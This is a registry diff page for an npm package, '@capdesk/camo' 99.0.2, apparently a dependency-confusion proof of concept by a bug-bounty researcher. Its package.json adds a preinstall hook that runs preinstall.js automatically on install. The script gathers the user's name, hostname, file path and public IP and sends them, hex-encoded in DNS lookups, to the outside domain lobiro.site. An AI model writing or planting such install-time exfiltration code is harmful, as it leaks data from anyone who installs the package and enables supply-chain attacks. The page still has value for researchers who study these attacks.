@capdesk/camo 99.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @capdesk/camo might be problematic. Click here for more details.

package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # DO NOT INSTALL THIS
2
+
3
+ This is a PoC package not meant to be intentionally installed by anyone.
package/index.js ADDED
File without changes
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@capdesk/camo",
3
+ "version": "99.0.2",
4
+ "description": "This is a PoC package not meant to be intentionally installed by anyone.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "malacupa@wearehackerone.com",
11
+ "license": "ISC"
12
+ }
package/preinstall.js ADDED
@@ -0,0 +1,48 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const dom = "lobiro.site";
4
+ const stamp = Date.now().toString();
5
+ const pkgid = '333';
6
+
7
+ function resolve(hostname) {
8
+ //console.log(hostname, function (a,b) {});
9
+ dns.resolve4(hostname, function (a,b) {});
10
+ }
11
+
12
+ function pingback(str, id) {
13
+ str = Buffer.from(str, 'utf8').toString('hex');
14
+ var parts = str.match(new RegExp('.{1,62}', 'g'));
15
+ var hostname = "";
16
+ var id = id + pkgid;
17
+ var suffix = '.' + stamp + '.' + dom;
18
+ var idx;
19
+
20
+ for (var i = 0, j = 0; i < parts.length; i++, idx = id + '-' + j.toString()) {
21
+ if (i % 3 == 0 && i > 0) {
22
+ resolve(hostname + idx + suffix);
23
+ j++;
24
+ hostname = ""
25
+ }
26
+ hostname += parts[i] + ".";
27
+ }
28
+ resolve(hostname + idx + suffix);
29
+
30
+ }
31
+
32
+ pingback(os.userInfo().username, 'u');
33
+ pingback(os.hostname(), 'h');
34
+ pingback(__filename, 'f');
35
+
36
+ const http = require('http');
37
+ http.get('http://ipv4.icanhazip.com', (res) => {
38
+ var data = [];
39
+ res.on('data', (chunk) => {
40
+ data.push(chunk);
41
+ })
42
+
43
+ res.on('end', () => {
44
+ pingback(data.toString(), 'i');
45
+ })
46
+ })
47
+
48
+